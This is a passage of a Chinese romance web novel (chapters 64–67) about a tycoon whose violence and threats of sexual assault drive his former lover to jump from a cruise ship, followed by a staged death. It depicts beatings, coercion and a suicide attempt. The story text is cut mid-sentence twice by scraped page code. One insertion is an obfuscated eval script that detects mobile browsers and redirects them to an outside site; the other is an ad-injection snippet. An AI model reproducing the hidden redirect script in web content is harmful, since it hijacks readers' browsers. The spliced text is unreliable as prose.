“你TM还想骗我!”李景麟暴怒的摔过一叠照片,宋奕一一捡起扔到曾闰成面前,宋奕经纪人拍的那张他从酒店出来的照片也被冲洗打印出来夹在其中。 曾闰成颤抖着伸出手,翻看着那摞照片,愈发泪如雨下,他从不知道傅廷恩这个账号的存在,原来那么早以前他就将他放在了心里。他看着那些照片,再看看此刻蜷缩在地上的身影,痛苦和愤怒撕扯着他的心。 “你那晚在丽萨酒店待到凌晨两点,足足十多个小时,难道是盖着被子纯聊天?”宋奕在一旁揶揄的笑着,看着曾闰成狼狈不堪的模样,再不复往日的优雅漂亮,心中闪过一丝快意。 曾闰成抬头直视着李景麟,“确实是这样,信不信是你的事。”尽管一脸狼狈,他的目光却仍然澄澈无比,他抬手抹去泪水,冷冷看着李景麟,“并不是我不肯,是他不肯,他不是畜|生,从来不会把欲望摆在第一位。” 这话里指责斥骂的意味太明显,看着李景麟微颤的肩背,苏秘书捏紧了手指。 曾闰成却无所畏惧,他把“畜|生”二字说出了口,索性敞开来说道:“李景麟,你是用什么立场来质问我?我跟你从来都不是情侣关系,充其量钱色交易,你有必要一副捉|奸在床的口吻吗?” 他看一眼傅廷恩凄惨的模样,语调放软了些,“廷恩什么都不清楚,是我刻意的引诱。也是我欠了你,不过房子、钱都在那里,之前花的你可以说个数,我会还给你的。或者你提个条件,只要是能做到的,我一定办到。请你以后不要再为难我们,就当从没认识过行不行?!” 相交四年多,李景麟很少听曾闰成这样长篇大论,他大部分时候都是沉默的,温顺的,或者言简意赅的表达要求。 此刻,他那双清澈的眼眸明明白白的表达着厌恶和不屑,那是李景麟很少感受到的情绪,一瞬间只觉得陌生的疼痛感从心底蔓延而上,逐渐扩散到全身。 他怒极反笑,拍了拍身旁的沙发,“让我提条件?行,你过来,当着这小子的面让我干一次,咱们就算两清了。” 傅廷恩剧烈的咳嗽起来,挣扎着要从地上爬起,曾闰成赶忙扶住了他,一张脸上泛起惊怒,“李景麟,你简直……” 李景麟啧啧慨叹,“畜生是吧?那我可以更畜生一点。你不同意也行,他动了我的人,”他指着傅廷恩,又摆手示意了一下甲板边站着的一排打手,“让我的人也尝尝他的滋味好了。”壮硕的男人们配合的尖叫呼哨起来,有的甚至脱了上衣露出鼓涨的肌肉。 曾闰成发现李景麟真的是不断在刷新他的认知和下限,尤其当他看到苏秘书脸上挂着担忧的眼神,却不断向后,退出打手们构筑的人墙,宋奕则一副看好戏的雀跃表情,可见李景麟不是在开玩笑。 傅廷恩极力想要站起,身躯却在不断往下滑,曾闰成几乎撑不住他。 “选吧。”李景麟靠坐在沙发上,嘴里咬着烟蒂,翘起二郎腿,烟雾缭绕,他脸上挂着冷漠又残忍的笑,恶意满满的欣赏着两人的窘迫。 曾闰成极力镇定着表情,“李景麟,我不会选,这两件都是我办不到的事情。” “可惜啊,”李景麟摇摇头,“没有第三条路。要么上你,要么上他,”他皱着眉,状似为难,“选第二条好了,第一条的话,我其实有点……” 他凝视着曾闰成,“嫌脏。估计他这段日子没少干你,让我手下这班人一人来一次,恐怕都还不回来。” 李景麟极力用言语羞辱着他,看着曾闰成面孔变得雪白,心头一股快意滋生,不能只有他一个人觉得痛。 65.第 65 章 正在胶着的状态里,原本黑幕似的天空突然闪过一线红光,紧接着一阵轰鸣声传来,一架小型直升机由远及近,显然是向着游轮而来。 李景麟摆摆手,原本簇拥在甲板上的男人们四散开,除了几个仍跟在他身后的,其余都入了船舱,一阵机械臂浆摇动的“哐啷”声此起彼伏。 直升机靠近了,垂下一节绳梯,一个矫健的身影下到尾端,稳稳跳到甲板上。 “李叔叔,”傅廷昀对甲板上的氛围状若无觉,甚至没有看一眼伤痕累累的傅廷恩,只淡笑着,“家里孩子给您添麻烦了,我来弄走,回头好好教育他。” 人在屋檐下,不得不低头,他收到傅廷恩手机发出的SOS短信,再回拨就是关机状态,立刻知道事情不妙,第一时间联系了大马国的同学,在他从悉尼赶过来的这段时间里,总算顺着海域查找到这艘游轮的踪迹。 他万万没有料到这事背后竟然是李景麟的手笔,其实那日订婚典礼,李景麟的出现已经透着点不寻常,李家和傅家向来是井水不犯河水,薛王两家有点交情也不算深。 当家的家主携重礼来参加后辈的订婚典礼,怎么看都透着点诡异,宴后傅明章和傅明琛还探讨了一番,傅廷昀听在耳朵里也没有特别在意,直到傅廷恩在马来西亚失去踪迹,他一路各种手段深挖打探,才明白了其中的端倪。 傅廷昀脸上挂着笑意,仍是那日订婚典礼上的恭谨客气。李景麟背靠在沙发上,翘着二郎腿,重新点了根烟,在嘴里咬着,宋奕端了冰桶过来,将冰镇在里头的伏特加端给他,他接过喝了两口,半晌,扯开嘴角笑了笑,“你家的人你带走,我的人就不劳费心了。” 傅廷昀皱眉,“这恐怕不妥当,闰成是……” “那就都别走了,”李景麟不耐烦的打断了傅廷昀,他挥了挥手掌,船舷两侧升起两枚黑洞洞的炮口对准了上空盘旋的直升机。 “留下来做客吧。傅家两位公子,分量是不轻,但我李家也未必就容不下!”他将手里的酒杯往甲板上一摔,“啪”一声玻璃碎片四散爆开。 傅廷昀是头一回见识到李景麟翻脸不认人的样子,他沉默了片刻,只能先转身去看傅廷恩。 一看之下,简直惊怒交加,傅廷恩半副身体都挂在曾闰成身上,从肩窝里脱出的那条手臂软绵绵的垂挂着,从脸上到身上血迹淋漓,面孔惨白如纸,整个人已经陷入半昏迷状态。 傅廷昀气得手抖,冷声道:“家里孩子不懂事,自有长辈教训,李叔叔也未免太越俎代庖了。” 李景麟一声冷笑,“那得看看他犯的什么事,”他悠闲的吐着烟圈,“傅大公子来得还算及时。”言下之意,傅廷昀要再晚点来,傅廷恩还能更凄惨。 眼下是在人家的地盘上,傅廷恩顾不得放狠话,他与曾闰成对视一眼,眼神里多少带了点责备和厌恶。 从他打探到的消息,再加上李景麟的话语,自然明白这祸事的起源在曾闰成身上。 李景麟在圈子里的名声无人不知,跟他扯上关系的男人想也知道是什么货色,他本就对于傅廷恩的变弯和对曾闰成的那种伺候略感不满,看着傅廷恩的惨状,那股无法宣泄的怒意自然改道流向了曾闰成。 曾闰成被他的目光刺到,忍不住瑟缩了一下。他勉力撑着傅廷恩的身体,佝偻着腰身,傅廷昀从一旁将傅廷恩接过去,“给我吧。” 大概是看到傅廷昀到来,傅廷恩松了那股强撑的心力,已经完全的昏死过去。他倒在他哥身上,挂在曾闰成肩膀上的那只手却仍牢牢揪着曾闰成的衣裳。一只眼肿胀不堪,另一只眼被额头流下的血迹糊住,嘴角不断渗出血沫。 曾闰成脱下外套,将他整个人都放进傅廷昀怀里,“你带他走吧,他需要马上去医院。” 傅廷昀怔了一下,“可是你……” “放心,他不会对我怎么样的,”他在海风里涩声说道,看一眼不远处的李景麟,“对不起,廷昀,这是我惹来的麻烦,”他看着傅廷恩的脸庞,低下头去,“本就应该由我来解决,你赶紧带他走,廷恩需要马上去医院。” 傅廷昀看着曾闰成虽然衣服上脸庞上沾了些血迹,但确实是毫发无伤的样子,再看看臂弯里凄惨无比的傅廷恩,叹口气,从口袋里掏出个红外仪,红色的光束往天上扫了扫,盘旋的直升机轰鸣着下降,落下一节绳梯和捆缚带,傅廷昀将傅廷恩抱在怀里,曾闰成上前帮着他固定好。 傅廷昀朝李景麟的方向看了一眼,转头朝曾闰成嗫喏着嘴唇,到底没有再说什么,直升机载着兄弟二人消失在茫茫夜空中。 曾闰成看着远去的小红点,深深的叹了口气。傅廷恩给了他想要的一切,在一起的几个月是这样的美好,亲情友情爱情原本于他,飘散得七零八落寥寥无几,傅廷恩帮他修补填充得这样好,可如今都因为他的缘故破碎得如此彻底,他还有什么脸面去见傅家人呢?还有什么资格再去拥抱他的廷恩? 他脑海里闪过傅太慈爱的笑脸,傅廷昀厌恶的表情,以及傅廷恩满身的伤痕,痛苦撕扯着他的心脏。而罪魁祸首还在他身后叫嚣着,“怎么?舍不得?” 曾闰成的脑海里翻涌着无尽的怒火和悔恨,果然是上船容易下船难,他拿了人家的,就只能一辈子当人家的玩物?心里翻滚着惊涛骇浪,曾闰成面上却渐渐趋近于平静,一片冰冷的平静。 甲板上打碎的玻璃杯被快速的清理干净了,李景麟斜躺在沙发上,向曾闰成勾了勾手掌,“过来。” 曾闰成站在原地没有动,半晌,低笑道,“你不是觉得我脏吗?我就不过去了。” “还委屈上了?还是说,心疼那小子?”李景麟看着不远处孑然站立的身影,满足的叹了口气,他始终是属于他的,谁也带不走。 这一遭算是把傅家得罪了个彻底,但只要能把曾闰成重新纳入羽翼之下就很值得,即使那小子还想来抢,傅家肯定也不能同意。 李景麟内心充斥着愉悦,却又觉得该给他点教训,仍是那副似笑非笑的嘴脸,“别说我不给你选择,跟我还是跟他们随你挑。”他随手掂起冰桶里的冰块,在手指间摩搓出噼噼啪啪的脆响,“夜还这么长,怎么着也得尽兴玩玩。” 此时海风吹散了乌云,一轮明月挂上了夜空,柔和的清辉遍撒在甲板上,给曾闰成单薄的身影镀上了一层清丽的轮廓。他扯开嘴角,向李景麟展露了一个比哭还要难看的笑容,“是吗?谁说只有这两种选择呢?我选第三条。”他转身迈上了船舷,海风吹得他的衬衫猎猎作响,拂开他的黑发露出那双堪比星辰的眼睛。 李景麟“嚯”的起身,“闰成!”他厉声叫道,惊骇弥漫上他的脸庞。清瘦的青年却在月色下回头,“李景麟,我是欠你的,把这条命还给你总该能两清了!” 他没有丝毫犹豫的纵身一跃,“嘭”的一声巨响之后,身影消失在碧波之间。 ————————————————————————— 江永安几乎是前后脚接到了傅廷恩和苏秘书的电话。“永安,你联系苏秘书,”陌生的号码传来熟悉的声音,夹杂着重重的喘息,“我的护照被扣了……联系她……闰成闰成……”电话里传来争吵和抢夺的声音,之后便是嘈杂的忙音。 他还被这通电话弄得莫名其妙,苏秘书的电话就打了进来,“永安,你马上飞一趟吉隆坡,机票已经给你订好,会有人去接你,”她停顿了一下,“来见闰成最后一面吧。” 江永安被这两通电话砸得眼冒金星,屁滚尿流的爬上飞机,“什么最后一面?什么意思的最后一面?” 他怀揣着一颗七上八下的心降落在吉隆坡机场,一辆奔驰将他接走,司机一问三不知,却是以最快的速度将他送到了圣玛丽亚医院。 然而还是慢了一步,他隔着抢救室的玻璃窗,亲眼看到了曾闰成惨白的一张脸,赤裸的上半身上各种仪器导管,然后是心跳监测仪里“嘀”一声之后的一条直线,几个医生将白被单蒙上那张脸颊,恭敬的鞠了三个躬,鱼贯着走出抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744512|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救室。 江永安只觉得一切像是放一部蒙太奇电影一般令人不可思议,他踉跄着瘫坐在地上,“怎么可能!怎么可能!”他喃喃的低语,继而高声的喊叫起来,“这不可能!闰成怎么会死,明明……” 明明几天之前傅廷恩还在给他打电话,“不好意思哥们,我跟闰成度了个假,手机基本没开机,所以电话短信才看到,”那声音里透着得意又满溢着甜蜜,“你要跟闰成说两句吗?” 然后曾闰成温和的声音从话筒那边传来,“永安,有两箱红酒已经过了通关手续,走海路给你寄过来了,你记得查收。” 他日常说话总带着点低沉的温柔,让他不自觉的想起听墙角听到的低喃声,耳朵里就是一阵酥麻瘙痒。 而此刻他眼睁睁看着敛尸房的工作人员进入手术室,抬出了一具白被单包裹的躯体,“为什么会这样?!” 他状若癫狂的追着那运尸担架,一只手从旁稳稳的托住了他,苏秘书红肿着眼圈,扶他坐下,满是惋惜的口气,“闰成的性格太刚了,谁也没有料到他会直接从游轮上跳下去,十多米高,当时就被砸到水里,十多个人下去才把他捞上来,但还是迟了一步……” 苏秘书叹息着,“这事只能你跟廷恩去说,他不会信我说的,傅家和李家这仇怨算是结下了。” 江永安红着眼睛冲她怒吼,“闰成为什么会跳船?是谁逼得他这样?” “对不起。”苏秘书低下头,“其实老板也很自责,他当时不该说话激他……”她转身要走,江永安揪着她,“苏姐,到底怎么回事?” 苏秘书被他纠缠不过,最后只能拿出船上的录像,从李景麟和傅廷恩对打,直到曾闰成跳下游轮。没有声音,但画质十分清晰,时间的记录也历历在目。 “我其实不该给你看这个,”苏秘书的神情十分凝重,“但闰成……这是我最不愿意看到的结果。老板几夜没合眼了……这些天也一直在尽全力抢救。” 她的声音带着点空洞和茫然,“……说到底只能算自杀……我……唉……”她深深的叹息着,一向冷静沉着的脸上也流露出痛惜的神色。 最终江永安不得不接受这个事实,他看了视频,李景麟离曾闰成有段距离,周围也没有其他人,曾闰成的确是自己跳下的游轮,而且事后也第一时间进行了搜救,即使要打官司,在李家庞大的财力面前也没有什么胜算。 他突然发现自己是目前唯一能处理曾闰成后事的人,原来他是孤苦无依的一个,没有亲属,也没有家族,他的死就像一滴水汇入河流,没有激起任何的水花。 江永安反复拨打傅廷恩的电话,始终无法接通,他也不知道该不该去辗转反侧的联系上他,他知道曾闰成对傅廷恩的重要性,让他亲眼来目睹这个场面,委实有些残忍。江永安只能看着遗体火化,又将骨灰暂存到殡仪馆。 苏秘书本来建议找块墓地,江永安否决了,“廷恩不会肯的,让他来做决定吧。” 他回想起去年在克利夫兰送走了曾闰霞,结果今年又送走了曾闰成,这对兄妹跟他有颇深的渊源,他却没有办法改变他们的命运,内心只觉得惆怅痛惜,最令他为难的还是怎么跟傅廷恩开口说这件事情,已经可以预见接下来会是怎样一番腥风血雨。 然而,苏秘书火急火燎的把他接来也正是为了这件事情,不管怎么说,事情已经发生,总要有个人出面去传递这个讯息。 他从监控画面里看到傅廷昀将傅廷恩带走,可见是绑回了澳洲,而且傅廷恩伤得不轻,电话里都能感受到他虚弱的喘息。 江永安在苏秘书的安排下,步履沉重的踏上了前往悉尼的飞机,傅廷昀虽然扣住了傅廷恩的护照,掐断了他的各项通讯,但傅家在澳洲的生意做得颇大,江永安很快打听到傅廷昀公司的地址,到公司门口去堵他,兄弟俩都是大高个,长相也有几分相像。 江永安轻易就辨认出了走下宾利的傅总裁,在他上电梯之前拦住了他,“廷昀哥,借一步说话。” 66.第 66 章 按傅廷昀意思,这事得先瞒着傅廷恩,江永安特意带了一小束鲜花去探望病人。 一见面,他便明白傅廷昀为什么要瞒着了,傅廷恩的情况确实有些不妙,他被打断的肋骨,有两根裂端插进了肺里,导致了血气胸,拖得过久,送到医院时已经进入失血性休克状态。 紧急行胸腔镜手术才算脱离了生命危险,此刻他插着呼吸机,脱出肩窝的手臂被夹板固定着,看上去凄惨万分。 李景麟那一顿打,真的是没有留任何余地,江永安内心不免感叹那人的冷血无情,好歹是见过几面一张桌上吃过饭的交情,竟然下这样的死手。 傅廷昀脸上也很不好看,虽然没有当着江永安的面放什么狠话,但看他阴沉的脸色显然不会善罢甘休。 看见江永安走进病房,傅廷恩挣扎着要坐起来,被傅廷昀快步上前按住肩膀,又掀动按钮帮他把上半身稍稍抬起来了一点。 “祖宗,你就消停点吧,真要让爸妈从金城飞过来?妈昨天还问我你们回欧洲没有。”傅廷昀叹着气,“赶紧的把伤养好,万事好说。” 江永安看着傅廷恩肿胀的脸上,那双原本深邃的眼睛费力的睁开,却仍泛着期待的光芒,条件反射性的就想哭出来,一只手背在身后使劲抓紧了,才勉力笑道:“安心吧没什么大事,苏秘书都说这事强求不了,你打都挨了,还能怎么着。” “闰成……”傅廷恩伸手就想把呼吸面罩扯下来,江永安拦住了他,“啧,你别动,我知道你要问什么。按苏秘书的说法,假期已经结束他总得回海德堡上班,你赶紧把伤养好,不然这么躺床上啥事也干不了。” 他编得合情合理,傅廷恩没有起疑。从他醒来没有看见曾闰成一颗心就一直悬着,他倒不担心他的安危,李景麟让那群打手打他的时候,都要让人把曾闰成揪开,自然是舍不得伤他的。 但他对曾闰成的占有欲确实超乎想象,按他哥的说法,李景麟不同意他带走曾闰成,而他的伤势必须马上救治,曾闰成自愿留下,只怕少不得一番磋磨。 他没有受伤的那只手紧紧攥着,怒火再次包裹着他,让他又是一阵剧烈的咳嗽。他在李景麟面前已经一再的意识到了自己的弱小,太弱,连爱人都保护不了。 他一定要变得强大起来,要比李景麟更强,总有一天要将他施加的这些痛苦都还给他! 江永安帮他顺着气,“你别激动,人没事就好,闰成心在你这里,谁也抢不走。” 傅廷恩被他一顿安抚,总算沉沉的睡去,傅廷昀看着旁边仪器上显示的平稳数字,叹了口气,“这么多天,他总算是睡踏实了。” 江永安红了眼圈,傅廷昀又问他,“你真亲眼看见了?”江永安点点头。 傅廷昀更深的叹了口气,“孽缘。”他没有想到那个看着柔和的人,会这样刚烈,那一晚公海的风浪挺大,从十几米高的游轮跳下,生还的几率确实很小,能捞个全尸都算幸运。 想到这些天的相处,再看看傅廷恩的惨样,他心里颇不好受。李家确实欺人太甚,这事肯定没完,他步履匆匆的走出了病房。 江永安看傅廷恩伤得不轻,便没有急着走,每天守着他打点滴,反复的说一些话来宽他的心,一直等到傅廷恩下了呼吸机,各方面都逐渐平稳,他才定了返程的机票。 傅廷恩恨不得跟他一块返回欧洲,又天天催他哥把手机还给他,“我保证,我不会急着去找李景麟麻烦,你让我打几个电话。” 他这几天拿着江永安电话拨打曾闰成号码始终无法接通,打苏秘书电话一直无人接听,打给李芷玉小姑娘一问三不知,“我得想办法联系闰成,他肯定担心我,我这都没事了……” “你管这叫没事?”傅廷昀气得额头青筋直跳,“医生怎么说的你没听见?再迟来半小时……” 兄弟俩正争执着,江永安的手机响起,一个陌生的号码他也没在意,随手接通,话筒里传来甜美的嗓音说着中文:“江先生,曾先生的骨灰寄存期限已经到期,您是要续存还是取走……” 江永安的手机声音向来调到顶格,泄露的外音让病房陷入了死一般的沉寂。 傅廷恩突然从病床上一跃而起,扑过去,用江永安这个健全人完全无法抗衡的力道将电话抢在手里,对着电话那边却是很低声很小心的问道:“你说什么?谁的骨灰?” “曾闰成曾先生,我们这边临时寄存只能存七天,续存或者取走您都要再办手续……” 傅廷恩举着手机,愣愣看着江永安,“永安,她在说什么?我怎么听不懂……” 江永安和傅廷昀对视一眼,都低下了头。 傅廷恩突然扔下手机,就往病房门口跑,他穿着病号服,脖子上挂着一只手臂,一只脚还瘸着,根本跑不快,被追上来的傅廷昀一把抓住,跟江永安一起把他拖回了病房。 “你要去哪里?廷恩,你伤还没有好……” 傅廷恩抬起头,“我要去找闰成,海德堡,法兰克福,要么就在柏林,李景麟肯定把他藏起来了。”他怔怔的看着江永安,“永安,你被他们骗了,肯定是被骗了,闰成怎么可能死,他不会死的,不会……” “是是是,”江永安一叠声的答应着,眼睛里却滚出两行泪水,他将手放在傅廷恩肩膀上,感受着那抖动的双肩,突然蹲在地上“哇”的一声哭出来。 从吉隆坡到悉尼,他一直压抑着这种情绪,生怕被傅廷恩看出来,却在真相被揭晓的这一刻再也克制不住,哭得声堵气噎。 “廷恩……是我亲眼看见的……” 从抢救无效到医生宣告死亡再到尸体的火化,每一项后事都是他亲自办理的。 他颤抖着双唇从接到苏秘书的电话说起,再到亲眼看到跳船的视频,他每多说一句,傅廷恩的脸色就白上一分,直到面无人色。 他颓然的倒在病床上,一阵剧烈的咳嗽之后,一口血沫“噗”一声吐得到处都是。傅廷昀愤怒的吼叫起来:“傅廷恩!你要干什么?!” 他掰过他的身体,将他搂在怀里,看着他脸上的神色不忍再骂,只喃喃道:“廷恩,你振作点,会好起来的……一切都会好起来的……” ———————————————————————— 瑞士,日内瓦湖边的皇家疗养院。两名护士给躺在床上的男子做完腿部理疗,将两条腿重新放回被窝,又把白色的床单被套再次理平整,朝一旁沙发上靠坐着看报纸的男子行了个礼,退出了病房。 李景麟放下手上的德文报纸,起身走到病床前,看着深陷在枕窝里无知无识的面庞,轻轻叹了口气。 “闰成,你是在惩罚我吧?这么久了也不肯醒过来。”他伸出手轻轻抚摸了一下柔滑依旧的脸颊,“你睁开眼睛看看我,一直这样躺着不无聊吗?” 他修长的手指轻抚过熟悉的眉眼,面上闪过一丝阴郁,“你是宁肯死也要离开我吧?可即便是死,我也要留你在我身边。”他低低的冷笑,“我一定留得住你。” 身后传来轻轻的叩门声,他退回到沙发上坐下,“进来。” 苏秘书的身影出现,低声向他汇报,“老板,Tina今晚的飞机到,我们要返回柏林了。” “嗯,”李景麟点点头,“让她盯着这些护工,每天的清洁、护理都要到位,按摩一刻也不能少,绝不允许出现肌肉萎缩。” “是。”苏秘书颔首。 “吉隆坡那边什么情况?” “傅廷恩去领走了骨灰,看样子是相信了,而且他找上了我……”她回想起在金城被傅廷恩闯入办公室的情景,青年坚硬的面容和冰冷的眼神都透着浓重的恨意,不过短短两个月,气质已经大变样,“你告诉李景麟,”他沉声道,声音甚至称得上悦耳,“躲是没用的,我傅廷恩这辈子与他不死不休。” 她只能委婉的提醒老板,“保镖团我会再重新筛查一遍,确保您的安全。” “哼,想要我命的人多了去了,那得看他有没有这个本事,”即使苏秘书没有转达傅廷恩说的具体内容,李景麟也猜得到,他并不把这种小儿的威胁放在心上。 “可是,”苏秘书犹豫了一下,还是从手上的文件夹里抽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出一张整合的K线图递了过去,“网上那些谣言对公司的股价还是产生了影响,有两家都出现了大跳水,这背后应该是傅家在推波助澜。” 傅氏的权柄还没有集中到三房手中,在金城当家的是傅廷恩的大伯,但是三房在澳洲的产业是傅氏经济支柱之一,傅廷昀还是有实力给李景麟找点麻烦的。 网上铺天盖地的出现关于李景麟的负面言论,且各项证据罗列得很齐全,即使君临的公关团队连夜运作,连发律师函,集团旗下的几家上市公司股价仍然受到了影响。负面新闻出现后第一个交易日,李景麟名下两家直接控股的公司,股价开盘后大跌逾7%,最终收盘下跌5.97%。,按当日股价报收价格,市值较前一日蒸发27亿美元,约合187亿元人民币。 因为负面新闻主要集中在李景麟个人身上,集团元老层对此颇有微词,让李景麟即使卧病在床也不得不召开视频会议解释安抚一干老臣。 “谣言能传一时传不了一辈子,股价涨跌是市场的正常调节,将我们在德国的营收报表、在英国的采购计划等能给的资料传给国内公关部,让他们看着运作。” 李景麟略作沉吟,“傅家一直在争取塔培拉的铝土矿开采权,你联系乔治,让他想办法帮他们拿到这个许可证。” 乔治是英国分公司的负责人,跟英国贵族、甚至王室都有交情,而澳大利亚至今名义上的元首仍是英女王,让乔治去运作再加上傅家在澳洲本土的资源,拿下这个开采权只是时间的问题。 “为什么?”苏秘书有稍许疑惑,傅家已经开始针锋相对,为什么还要把这么大一块蛋糕拱手送上。 李景麟起身,踱到病床前,看着那张轮廓柔和神情恬静的睡颜,有片刻的出神,曾闰成决绝的跳下游轮,让他罕见的意识到了自己的过分。 “就当是赔礼。”他垂手摸了摸沉睡者白净的耳垂,“出去吧,我再陪他一会。” 苏秘书轻轻带上门,走出疗养院,径直走到了湖边的长椅上,看着秀丽的风景,却是深深的叹了口气。 她从不知道曾闰成竟然在李景麟心目中有如此重要,重要到他会跟着翻身跳下去,那一晚的风浪颇大,如果不是李景麟及时把曾闰成拖出水面,等那些船员下水,估计海浪早已把人卷走。 她掂错了这个人的分量,才会劝说着把人放走,让他和另一个人发展出了深厚的感情,造成了如今这种三败俱伤的局面。 可是谁知道李景麟有这么爱重他呢?曾闰成肯定是不知道的,甚至李景麟自己,也许也才知道。 难怪有人说,智者不入爱河。情爱确实伤人,稍有行差踏错,便是万劫不复。 一道修长的身影走了过来,坐在了长椅的另一头,在她看过来的时候转头笑了笑,“苏姐,我是真的很佩服你,心脏骤停四分钟的黄金抢救时间,还能让你匀出两分钟来演戏,江少爷估计怎么着都想不到他看到的每一帧画面都在你的计算里。” 苏秘书低头不语,徐理仍在喋喋不休的深表佩服,“您选择江少爷来见证这场‘死亡’也是慧眼独具了,他性格跳脱又深得傅少爷信任,与曾老师又没有熟悉到事必躬亲的地步,只看着白布单蒙上脸便懵圈得顾不上查看推入焚化炉的是不是同一具尸体。”他拱了拱手,“您对人心人性的把握真是精准,我服气了,您这位置和高薪一般人确实拿不到。”他低声冷笑,“要卖了良心才行。” 两人私下里在秘书团争抢话语权,但明面上还是一团和气,这么针锋相对还是第一次。 苏秘书却没有动怒,缓声道,“徐理,你把你负责的那摊子做好,集团这么多资产需要整合处理不够你忙吗?”她的眼睛看向层层叠叠的湖水,叹了口气,“手别伸太长,有的讯息掌握了其实并没有什么好处。” 徐理状若恭敬的应是,“我当然没有苏姐懂老板心思,更没有苏姐的好手段,只是感叹一句罢了。” “既然如此,我便给你个忠告吧,不要跟宋奕搅和在一起。”苏秘书看着徐理瞬间变白的面色,淡笑道,“同事一场,别怪我没提醒你。 67.第 67 章 徐理这次跟随出差的时间有点长,回到金城的公寓已经是深夜时分。尽管到他这个级别,在老板的私人飞机上有单独卧室、在欧洲各国之间转机或者高铁都是商务舱/商务座,底下还另有助理打杂,他仍然累得够呛。 指纹“嘀”一声响后,公寓的大门打开,一股浓浓的酒味夹杂着呛人的烟味扑面而来。他的眉目却因此而被点亮,疲累的神情一扫而光,匆忙换了拖鞋,一边脱外套,一边扬声道,“你来了?怎么没给我发信息?” 转到客厅,宋奕果然懒洋洋的靠在沙发上,手指间捏着支无滤嘴的骆驼,他最近爱抽这种劲大的烟,另一只手端着玻璃杯,橙黄的酒液只剩浅浅一层。看见徐理进来,他漫不经心的喷出一口烟雾,“到底是个什么结果?醒了还是没醒?” 他得到消息,李景麟回了金城,推了工作去君临,却被苏秘书挡了驾,“老板最近很忙,我给宋老师预约好,等排期到给您打电话。”口气恭谨却疏离。 因着曾闰成这事,他算是把苏秘书得罪了,但她不敢擅自做主,会这么说,自然是李景麟发了话。他转身便往徐理的公寓来。 徐理收敛了眉目间的欢喜,面无表情的走过去,在沙发对面坐下,静默了半晌,低声道:“苏茜知道了。” “知道什么?”宋奕皱起眉头,他蓬乱着头发,缀着亮片的袖子挽起,胸口敞开,露出一片泛着红晕的胸膛。 徐理看他一眼,低下头,“我们的事。” 宋奕被他的样子逗笑,“我们能有什么事?不就上过几回床么?”他起身在徐理的头顶拍了拍,跟安抚猫猫狗狗一般,“放心吧,景麟向来尊重我,不会因为这事为难你的。” 他转身续酒,用颇不耐烦的口吻问道:“到底怎么样?那个废物醒了没?医生怎么说……” 徐理取下眼镜,梳得一丝不苟的头发散在额前,给他略显寡淡的面容平添了几分魅惑,他没有回答宋奕的问话,反而冷冷一笑,“他那是尊重你么?” 宋奕瞬间就被激怒,抬手将那一满杯酒砸了过去,“轮得到你来看我笑话?”他跟着李景麟这么久,将他的做派学了个十足十。在李景麟面前有多卑微,在其他人面前就有多嚣张。 玻璃杯砸在徐理肩膀上,酒水泼洒了他一脸,他随手抹了一把,按着眼睛,低低的笑了几声,才抬头道:“你巴巴的等在这里,不就是想探听老板的动向么?对不起,请恕我无可奉告。我对你没有利用价值了,大明星以后不必再来,不必再等在这里让我看你笑话。” 他很硬气的说完这几句,做好了宋奕摔门而去的准备。结果沉寂了半晌,宋奕的怒火却又奇迹般的平息下来,随手扯了几张餐巾纸,走上前去很体贴的帮他擦了擦,“好了,你不用担心那个老姑婆,只要你不背主,她拿你没办法。” 他伸手环着徐理的脖颈低语,“咱俩私下这点子交流算不了什么,你不用太紧张。” 徐理能进入李景麟的秘书团,并且占据一席之地,本身就是个情商很高的人,他很快平定了心绪,拉着宋奕在沙发上坐下,点头道,“苏茜是个没有感情的机器人,所以她赢了。我确实甘拜下风。” 这趟瑞士之行令他感受颇深,他自嘲的笑了笑,“我确实不如她,不如她心狠。她跟那几位交集不算少,我虽然不在当场,但她后续的处理我都看在眼里,真是算计得一步不差,女人能不被感情羁绊的是极少数,我争不过她。” 宋奕不耐烦的倾身,按熄了手中的烟,颇有点恨铁不成钢的口气,“你怕什么,有我给你当后盾。她再能算计也是个女人,跟在老板身边总有不便,她还能一辈子不结婚不生孩子?只要你不犯傻,迟早能把她挤下去。” “可我确实挺傻的,让我为了权势金钱去拆散一对相爱的人,我做不到。”他抬头看着宋奕俊逸的面庞,眼里闪过怅惘,又涌上些许激动,“你呢?你能不能不要再犯傻?经过这次的事你还看不清吗?老板那样的人会跟着跳下海,他不爱你,”他虽然不在那条游轮上,但李景麟养伤期间一应事务都是他经手办理。“他昏迷的时候都在叫……” “不要提那个名字!别让我犯恶心!”宋奕恼怒的翻过另一只玻璃杯,满满的倒了一杯,咕嘟两口就灌到了嘴里,打了个酒嗝,喃喃道:“景麟只是被蛊惑了,从来没有人违抗过他,反倒让他觉得新鲜。爱?那个废物哪里配?他有什么?只有一身皮肉……” 徐理看着他紧皱的眉头猩红的眼角,深深的叹了口气,“宋奕,其实你心里是明白的……不要自欺欺人。” “我不明白!”宋奕放下酒杯凑到徐理面前,攥着他领口的衣服,将他拖过来,“我是哪点比不上他?嗯?你说说,说句实话,我到底哪里比不上他?” 两人气息相闻,徐理低下头,回避了他的眼神,却没有停止低语,“爱情是没有理由的,也没法比较。在我心里,谁也不能跟你比。可在老板心里……”他抬起头带了点恳求的看着宋奕,“据说你当时是在场的,你好好想想,那是公海,风浪又大,什么危险都有可能发生。老板会跟着跳下去,那在他心里,谁都跟那个人比不了……” 宋奕伸手就甩了他一巴掌,“他的想法你说了算?!” 徐理挨了巴掌,却只是抬手轻抚了一下面颊,重又低下头去。宋奕看着他老实巴交的样子,心里涌起一丝快意,他在践踏别人感情的过程中找回了自己被踩碎的自尊,嘴角勾起一抹笑,放开了攥着他衣领的那只手。 